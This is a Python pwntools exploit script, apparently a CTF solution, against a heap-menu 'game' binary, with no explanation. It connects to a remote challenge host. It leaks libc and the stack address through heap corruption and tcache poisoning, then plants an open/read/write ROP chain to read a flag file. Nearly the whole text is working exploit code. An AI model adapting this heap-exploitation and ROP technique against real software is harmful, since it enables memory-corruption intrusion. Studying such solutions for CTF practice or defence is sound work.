1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| from pwn import * p = process("./game") p = remote("124.71.230.240","26156") libc = ELF("./game1").libc
def op(op): return "op:" + str(op) + "\n" def id(id): return "id:" + str(id) + "\n" def YMAX(y_max): return "w:" + str(y_max) + "\n" def XMAX(x_max): return "l:" + str(x_max) + "\n" def size(size): return "s:" + str(size) + "\n"
def init_game(xmax, ymax): line = "" line += op(1) line += XMAX(xmax) line += YMAX(ymax) p.recvuntil("cmd>") p.send(line + "\n")
def create_player(_id, _size,data): line = "" line += op(2) line += id(_id) line += size(_size) p.recvuntil("cmd>") p.send(line + "\n") p.recvuntil("desc>") p.send(data)
def del_player_by_id(_id): line = "" line += op(3) line += id(_id) p.recvuntil("cmd>") p.send(line + "\n")
def display_all(): line = "" line += op(4) p.recvuntil("cmd>") p.send(line + "\n")
def dec_y_by_id(_id): line = "" line += op(5) line += id(_id) p.recvuntil("cmd>") p.send(line + "\n")
def inc_y_by_id(_id): line = "" line += op(6) line += id(_id) p.recvuntil("cmd>") p.send(line + "\n")
def dec_x_by_id(_id): line = "" line += op(7) line += id(_id) p.recvuntil("cmd>") p.send(line + "\n")
def inc_x_by_id(_id): line = "" line += op(8) line += id(_id) p.recvuntil("cmd>") p.send(line + "\n")
init_game(0x4, 8) create_player(4,0x28,'nuoye') create_player(1,0x410,'nuoye') create_player(2,0x420,'nuoye') create_player(5,0x28,'nuoye') create_player(6,0x28,'nuoye') create_player(7,0x28,'nuoye') del_player_by_id(1) create_player(1,0x410,'a'*8) display_all() p.recvuntil("a"*8) libc.address = u64(p.recv(6)+'\x00\x00')-0x3ebca0 print hex(libc.address) inc_y_by_id(2) inc_y_by_id(2) del_player_by_id(1) create_player(1,0x410,'a'*(0x1e8)+p64(0x251))
del_player_by_id(6) del_player_by_id(7) del_player_by_id(4) del_player_by_id(5) del_player_by_id(1) create_player(1,0x228,b'\x00'*0x28+p64(0x31)+p64(libc.sym['environ']-0x28)) create_player(2,0x228,'a') create_player(5,0x228,'a') create_player(3,0x28,'a'*0x28) display_all() p.recvuntil("a"*0x28) stack = u64(p.recv(6)+'\x00\x00') -0x510 print hex(stack)
del_player_by_id(2) del_player_by_id(5) del_player_by_id(1) create_player(1,0x228,b'\x00'*0x58+p64(0x31)+p64(stack)) create_player(2,0x228,b'\x00'*0x58+p64(0x31)+p64(stack)) create_player(5,0x228,'./flag\x00')
pop_rax = 0x0000000000043a78 + libc.address pop_rdi = 0x000000000002155f + libc.address pop_rsi = 0x0000000000023e8a + libc.address pop_rdx = 0x0000000000001b96 + libc.address syscall = 0x11B957 + libc.address
payload = '' payload += p64(pop_rax) payload += p64(2) payload += p64(pop_rdi) payload += p64(stack + 0xb8) payload += p64(pop_rsi) payload += p64(4) payload += p64(pop_rdx) payload += p64(4) payload += p64(syscall) payload += p64(pop_rax) payload += p64(0) payload += p64(pop_rdi) payload += p64(3) payload += p64(pop_rsi) payload += p64(stack + 0x200) payload += p64(pop_rdx) payload += p64(0x100) payload += p64(syscall) payload += p64(pop_rax) payload += p64(1) payload += p64(pop_rdi) payload += p64(1) payload += p64(syscall) payload += './flag\x00' create_player(8,0x228,payload) ''' gdb.attach(p,'b *$rebase(0x1D74)') ''' p.interactive()
|